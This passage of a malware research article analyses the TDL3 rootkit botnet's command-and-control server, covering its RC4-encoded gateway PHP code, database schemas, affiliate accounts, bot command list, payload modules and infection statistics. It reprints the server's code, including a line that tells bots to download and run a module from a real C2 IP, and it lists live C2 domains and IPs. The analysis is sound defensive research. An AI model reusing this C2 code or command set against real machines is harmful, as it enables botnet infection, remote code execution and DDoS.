    define('DS'                    , DIRECTORY_SEPARATOR       );
    define('DIR_ROOT'              , realpath('../')           );
    define('DIR_LIBRARY'           , DIR_ROOT.DS.'library'     );
    define('DIR_LIBRARY_CLASSES'   , DIR_LIBRARY.DS.'classes'  );
    define('DIR_LIBRARY_MODELS'    , DIR_LIBRARY.DS.'models'   );
    define('DIR_LIBRARY_FUNCTIONS' , DIR_LIBRARY.DS.'functions');
    define('DIR_DATA'              , DIR_ROOT.DS.'data'        );

    // activating external modules
    require_once( DIR_ROOT . DS . 'configuration.php' );
    require_once( DIR_LIBRARY_CLASSES . DS . 'DBase.php' );
    require_once( DIR_LIBRARY_FUNCTIONS . DS . 'rc4Encrypt.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mBots.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mAffiliate.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mAffiliates.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mBrowsers.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mBuilds.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mSystems.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mCountries.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mCommands.php' );
    require_once( DIR_LIBRARY_MODELS . DS . 'mCommandsMemcache.php' );
    
    // decoding RC4-request (using server name as a key)
    $request      = rc4Decrypt( $_SERVER["HTTP_HOST"], base64_decode( substr( $_SERVER["REQUEST_URI"], 1 ) ) ); 
    $requestCount = 0;
    $requestHost = $_SERVER["HTTP_HOST"];

    if( $request ) {
        // split request line into array elements
        $request      = explode( '|', $request );
        $requestCount = sizeof( $request );
    } else {
        header("HTTP/1.0 404 Not Found");
        exit();
    }

    ...

As you can see from this code, request fields are saved in the $request array. Then a module is activated which corresponds to the first array element (i.e. special request ID).

Special request ID Script name Purpose
remover remover.php Receiving statistics from the remover module (more details below)
services services.php Partner accounts management (create, delete, request of information)
rules rules.php Collection of executed commands output.
redirect redirect.php Redirecting to a URL with a given ID, stored in the server database
installation installation.php Displaying content of file /var/www/engine/data/affId_affSid.dat, where affId and affSid — identifiers of account and subaccount of a partner, specified in a request. Purpose of this file is unknown, because we didn’t find any corresponding files on target server.
modules modules.php Processing of additional module requests from bots.

If value of the first field of a request doesn’t match any special request ID, listed in the previous table, then the request is processed as a regular command request:

    } elseif( $requestCount == 8 || $requestCount == 10 ) {
    
        // connect to database
        DBase::connect( DBASE_HOST , DBASE_USER , DBASE_PWD , DBASE_BASE );
    
        // connect to memcached daemon
        $objMemcache = new Memcache;
        $objMemcache->connect( MCACHE_HOST, MCACHE_PORT );
        
        // receive information about bot from request fields
        $requestName      = $request[0];
        $requestAffAid    = $request[1];
        $requestAffSid    = $request[2];
        $requestRk        = $request[3];
        $requestCmd       = $request[4];
        $requestSystem    = $request[5];
        $requestLang      = $request[6];
        $requestBrowser   = $request[7];
        
        if( $requestCount == 8 ) {    
            // no information about compilation and infection dates in request 
            $requestBuildDate   = 0;
            $requestInstallDate = 0;
        } else {
            $requestBuildDate   = strtotime( $request[8] );
            $requestInstallDate = strtotime( $request[9] );
        }

        $requestBuild     = "{$requestRk}_{$requestCmd}";
        $requestIp        = ip2long( $_SERVER['REMOTE_ADDR'] );

        $requestAffId     = null;
        $requestSystemId  = null;
        $requestBrowserId = null;
        $requestBuildId   = null;

        // activate engine.php module
        // it adds information about bot to database and processes command request
        include('engine.php');
        
        $objMemcache->close();
        DBase::disconnect(); 
        
        ...

Upon receiving a regular commands request, the server sends a list of commands back to the bot. Commands are encoded in RC4, the bot ID serving as an encryption key.

Partners accounts

The affiliates table contains information about partners accounts. Such accounts can be edited by the administration panel operator.

CREATE TABLE IF NOT EXISTS `affiliates` (
  `affId` int(11) unsigned NOT NULL auto_increment,   -- table key
  `affAid` char(20) NOT NULL,                         -- identifier of partner account
  `affGroup` int(11) unsigned NOT NULL,               -- group of partner account
  `affLogin` char(32) default NULL,                   -- name (login) of partner account  PRIMARY KEY  (`affId`)
);
Editing partner account in botnet admin panel

Editing partner account in botnet admin panel

Each partner can own any number of bot executables. Partner ID is hardcoded in a bot executable file during compilation. After the rootkit installation the ID is stored in config.ini file in the rootkit’s own file system.

Subaccounts can be used to group a partner’s bot executables.

Identifiers of a partner’s account and subaccounts are stored in config.ini file.

Identifiers of a partner’s account and subaccounts are stored in config.ini file.

Partner accounts can be managed directly by sending the following request to botnet gateway:

services|operation_code|argument_1|argument_2|...|argument_N
Field Purpose
operation_code Code of operation to be executed
argument_1argument_N Optional argument – its format is defined by particular operation

Operation codes are defined in the following table:

Operation code Arguments Purpose
100 affAid, affLogin, affGroup Creating of a new partner account.
110 affId Deleting of an existing account.
120 affAid Showing all subaccounts for a given account.
150 engineType Adding of a new account with automatic generation of affAid. Value of affGroup is selected according to value of engineType
200 affAid, affSid, statDateFrom, statDateTo Requesting number of bot installations for a given account and a given period of time.
201 affAid, affSid, statDateFrom, statDateTo Requesting bots by country statistics for a given account and a given period of time.
301 Enumeration of existing partner accounts.

Request parameters details:

Parameter Purpose
affId Parameters correspond to cognominal fields in affiliates table
affAid
affSid
affLogin
statDateFrom Dates in Y-m-d format
statDateTo
affGroup Identifier of partner group

List of existing partner groups is located in /var/www/engine/data/groups.txt:

Affiliates Groups
    1  - Test Installs
    10 - Our Installs
    20 - InstallConverter
    30 - ProfitCash
    40 - ReliefPPC
    50 - ConvertPPC

Example: a query for number of bot installations between 01.08.2009 and 01.07.2010 for subaccount 0 of partner with affAid 10000 is as follows:

services|200|10000|0|2009-08-01|2010-07-01

Main botnet table

After a bot sends request for commands for the first time, it is added to the ‘bots’ table of the server database. Values of affId, affSid and botName fields are extracted from corresponding fields of request from a bot.

Class mBots, which enables work with bots table, is located in /var/www/engine/library/models/mBots.php file. Functions of adding and editing bot information are realized in /var/www/engine/public/engine.php.

Structure of bots table:

CREATE TABLE IF NOT EXISTS `bots` (                  
  `affId` int(11) unsigned NOT NULL,                  -- identifier of partner account
  `affIdx` int(11) unsigned NOT NULL,                 -- usually equals to affId
  `affSid` smallint(6) unsigned NOT NULL default '1', -- identifier of additional account
  `botId` int(11) unsigned NOT NULL auto_increment,   -- table key
  `botName` char(60) NOT NULL,                        -- unique bot name (parameter botid in config.ini)
  `botIp` bigint(20) NOT NULL,                        -- bot IP
  `botAdded` int(11) unsigned NOT NULL,               -- date of first bot request to the server
  `botAccess` int(11) unsigned NOT NULL,              -- date of last bot request to the server
  `botCountry` tinyint(4) unsigned NOT NULL,          -- identifier of bot country
  `botSystem` smallint(6) unsigned NOT NULL,          -- identifier of Windows version of infected computer
  `botBrowser` smallint(6) unsigned NOT NULL,         -- identifier of browser version of infected computer
  `botBuild` smallint(6) unsigned NOT NULL,           -- identifier of rootkit version and module TDLCMD.DLL
  PRIMARY KEY  (`botId`),
  KEY `botName` (`botName`),
  KEY `affid_index` (`affId`),
  KEY `botAdded_index` (`botAdded`)
);

Bot commands

In the end of engine.php script /var/www/enginedata/commands.php file is activated. Its purpose is to display commands to be executed by bot. commands.php script is generated dynamically using data from commandsinfo table.

CREATE TABLE IF NOT EXISTS `commandsinfo` (
  `commOwner` int(11) NOT NULL default '1',           -- identifier of user account, who has added a command
  `commId` int(11) unsigned NOT NULL auto_increment,  -- table key
  `commName` varchar(255) NOT NULL,                   -- command name
  `commDesc` text NOT NULL,                           -- command description
  `commExe` varchar(255) NOT NULL,                    -- URL of executable file (for commands related to upload and execution of executable files)
  `commStatus` enum('disable','enable',
      'deleted','temp') NOT NULL default 'enable',    -- command status (active, inactive, temporary, deleted)
  `commAdded` datetime NOT NULL,                      -- time of command creation
  `commCode` text NOT NULL,                           -- command PHP code to be included in commands.php
  `commCodeCond` text NOT NULL,                       -- additional parameters of the command
  `commCodeComm` text NOT NULL,
  `commOrder` int(11) NOT NULL,                       -- command order number
  PRIMARY KEY  (`commId`)
);

Class mCommands, which enables work with commands, is located in /var/www/engine/library/models/mCommands.php. Procedure for dynamic creation commands.php file is realized in regenerate method – it is called by command from the administration panel:

function reGenerate() {
        $code = '';
        
        // acquire information about all available commands from database
        $commands = $this->getSummaryFull();
        for ($i = 0; $i < sizeof($commands); $i++) {
            if ($commands[$i]['commStatus'] == 'enable') {
                // get PHP code for each command
                $code .= $this->getCode($commands[$i]['commId']) . "\r\n\r\n\r\n";
            }
        }
        
        // read template file
        // it contains static code, which should be included in commands.php
        $templateFile = dirname(__FILE__).DS.'commands.template';
        $fp = fopen($templateFile, 'r');
        $template = fread($fp, filesize($templateFile));
        fclose($fp);
        
        $template = str_replace('%COMMS%', $code, $template);
        
        // write commands.php to the disk
        $file = '/var/www/enginedata/commands.php';
        $fp = fopen($file, 'w');
        fwrite($fp, $template);
        fclose($fp);
    }
Adding a new command to the administration panel

Adding a new command to the administration panel

It is possible to specify the following parameters for each command:

Operator of administration panel can also edit part of PHP code to be included in commands.php.

Editing command code in the administration panel

Editing command code in the administration panel

Any bot can process the following commands:

Command Description
botnetcmd.SetCmdDelay(Seconds) Sets interval between server requests
botnetcmd.ModuleDownloadUnxor(URL, LocalPath) Downloads encoded executable module
botnetcmd.FileDownloadRandom(URL, LocalPath) Downloads random file
botnetcmd.LoadExe(FileURL) Downloads and executes executable file
botnetcmd.LoadExeKnock(FileURL, KnockURL) Downloads and executes random file and sends a HTTP-request to random URL on success
botnetcmd.InjectorAdd(ProcessName, DLLName) Injection of DLL into specified process (* — into all processes)
tdlcmd.ConfigWrite(Section, Parameter, Value) Writes random data into config.ini
tdlcmd.Download(URL, LocalPath) Downloads random file.

Payload modules

Primary functions (payload) of the TDL3 rootkit are provided by additional modules. These modules are normal dynamic libraries, which are downloaded from server and are being injected into random or current user mode process.

Information about available payload modules is stored in modules table:

CREATE TABLE IF NOT EXISTS `modules` (
  `modId` int(11) unsigned NOT NULL auto_increment,   -- table key
  `modName` char(255) NOT NULL,                       -- module name
  `modData` longblob,                                 -- data of module’s executable image
  `modLoads` int(11) unsigned NOT NULL,               -- amount of module downloads
  PRIMARY KEY  (`modId`)
);

A module file can be downloaded to infected computer by ModuleDownloadUnxor command. It has the following parameters:

module|ModuleId!Key!
Field Purpose
ModuleId Module identifier (value of modId field in modules table)
Key Any string (optional). This value is used as a RC4 encoding key for the requested module.

Request for module download is processed in /var/www/engine/public/modules.php file:

<?php

    require_once( DIR_LIBRARY_MODELS . DS . 'mModules.php' );

    // check encoding key availability in request for module download
    if( preg_match( "%(\d*)!(.*)!%Uis", $request[1], $matches ) ) {
        $modId    = $matches[1];
        $modCrypt = $matches[2];
    } else {
        $modId    = $request[1];
        $modCrypt = FALSE;
    }
 
    // get information about module
    $modDetails = mModules::details( $modId );

    if( $modCrypt ) {
        // return encrypted module data to a client
        print rc4Encrypt( $modCrypt, $modDetails['modData'] );
    } else {
        // return unencrypted module data to a client
        print $modDetails['modData'];
    }
    
    // increment counter of downloads for this module
    mModules::increment( $modId );

Execution of command for a specific module is performed by sending the following string to a bot:

ModuleName.Function([Params])
Field Purpose
ModuleName Name of module DLL on infected computer
Function Name of random function being exported by module DLL
Params Random string or integer parameters being forwarded to called function as arguments

Example: a piece of script, which is responsible for downloading and execution of the remover module (fragment of file commands.php):

// --- Command #273 Start ---

    $commId = 273;
    
    // get information about command by its identifier
    $commDetails       = $objCommands->getCommand( $commId );
    $commDetailsCreate = FALSE;
    if( $commDetails == FALSE ) {
        $commDetails['commId']       = $commId;
        $commDetails['commRefences'] = 0;
        $commDetails['commSuccesed'] = 0;
        $commDetailsCreate           = TRUE;
    }
    
    // Condition 1
    if( $botBuild >= 26 ) {
        $commDetailsBot       = mCommands::getCommandExecuted( $commId, $botId );
        $commDetailsBotCreate = FALSE;
        if( $commDetailsBot == FALSE ) {
            $commDetailsBot['botId']        = $botId;
            $commDetailsBot['commId']       = $commId;
            $commDetailsBot['commDate']     = 0;
            $commDetailsBot['commSuccesed'] = 0;
            $commDetailsBotCreate           = TRUE;
        }
        
        // Condition 2
        if( ($commDetailsBot['commSuccesed'] < 1) ) {
            $commSucces  = TRUE;
            // command for module download and its saving under tdlrm.dll
            $commOutput .= "tdlcmd.Download('https://91.212.226.60/czRvvJ+iknAB','tdlrm.dll')\n";
            // command to execute Start() function from tdlrm.dll
            $commOutput .= "tdlrm.Start()\n";
        } else {
            $commSucces  = FALSE;
        }
        
        ...
    
// --- Command #273 End ---

Adding and editing of modules is performed in the corresponding section of the administration panel:

Editing a module in the administration panel

Editing a module in the administration panel

At the moment of access to web-server the following modules were present in the database:

Module Purpose
DDoS Performing DDoS-attacks
Remover Small antivirus to work with Malwarebytes' Anti-Malware signature bases to search for “foreign” malicious programs on infected computer.
TDLCMD Primary payload module of the rootkit. It includes functions of sending messages to server, command execution etc.
WSP/WSP Popup Module of interception of requests to search engines (Google, Yahoo, Bing, Ask, AOL) in order to replace search results which are displayed in browser. It includes functions of ads popup.

Modules are protected with unknown encryption program, therefore their analysis may be tricky.

To date of the analysis, the amount of Remover module downloads equaled to 19 000 — which is disparately few in comparison to the total amount of bots. We can suppose that at the moment of analysis the Remover module was being tested and in future its developers are going to use own “antivirus” widely to fight with rival malicious software

Statistics

In the end of the article we would like to present some objective statistics on the botnet. The data was extracted directly from the server databse of the d45648675.cn server as of 7th February 2010.

General data:

Overall number of bots 5 247 115
Number of partner accounts 512
Date of first bot installation 12.08.2009
Date of last bot installation 07.02.2010

Detailed statistical graphs and diagrams are below.

Amount of new installations by weeks (one point on graph corresponds to one week)

Amount of new installations by weeks (one point on graph corresponds to one week)

Notable peak on the graph is a “record” of 443 364 unique installations on 19th January 2010. All installations were uniformly distributed between a number of partner accounts. Possible reason of such rapid increase in installations can be exploitation of an unknown 0-day vulnerability.

Число уникальных ботов, которые обращались к серверу в течение недели

Amount of unique bots, accessing the server during a week

Распределение ботов по странам

Distribution of bots by countries

Распределение ботов по партнёрам

Distribution of bots by partners

As you can see from this diagram, the largest partner provided 22.3% of all rootkit installations, being two times more effective than second most effective partner.

Распределение новых инсталляций по партнёрам

Distribution of new installations by partners

As you can see from this diagram, 90% of partners provide 1000-50000 downloads, 50% whereof goes to small partners (1000-5000 downloads). There are just 17 partners with amount of downloads over 5000, and only one has over 1 000 000 downloads.

Версии Windows

Windows versions

As you can see from this diagram, Windows XP, which doesn’t support modern security mechanisms (UAC, DEP and ASLR), is the most vulnerable to malicious software. Relatively small amount of infections for Windows 7 is not connected to its share among other operating systems, which is pretty high. It is possible that infection of Windows 7 computer was realized mainly by social engineering methods.

Версии руткита

Rootkit versions

Версии модуля TDLCMD.DLL

Versions of TDLCMD.DLL module

Since d45648675.cn server still worked to date of issuing this article (14th July 2010), we decided to collect more actual statistics. We also analyzed tens of TDL3 rootkit droppers to find IPs of all active command servers.

Second server a57990057.cn is used right now besides d45648675.cn (and some other). Each of these two servers has several IPs, and each IP is corresponds to several domains. List of IPs and their corresponding domain names is listed in the table below

IP Domain name Total number of bots Number of partner accounts Date of first bot installation
91.212.226.60 d45648675.cn 8 547 241 857 12.08.2009
91.212.226.59 zz87jhfda88.com
91.212.226.59 lj1i16b0.com
61.61.20.132 a57990057.cn 7 860 677 2 547 31.12.2009
61.61.20.132 68b6b6b6.com
91.212.226.7 0o0o0o0o0.com
61.61.20.135 jro1ni1l1.com
61.61.20.135 34jh7alm94.asia

As you can see from this table, amount of bots attached to the first server has increased by about 40% between the dates 07.02.2010 and 14.07.2010. Total amount of computers, infected by the TDL3 rootkit between 12.08.2009 and 14.07.2010, is more than 16 000 000. Till now Mariposa botnet was considered as the world largest botnet. At the moment of its termination its volume was estimated by experts as 12 000 000 bots.

Last updated: 17.03.2012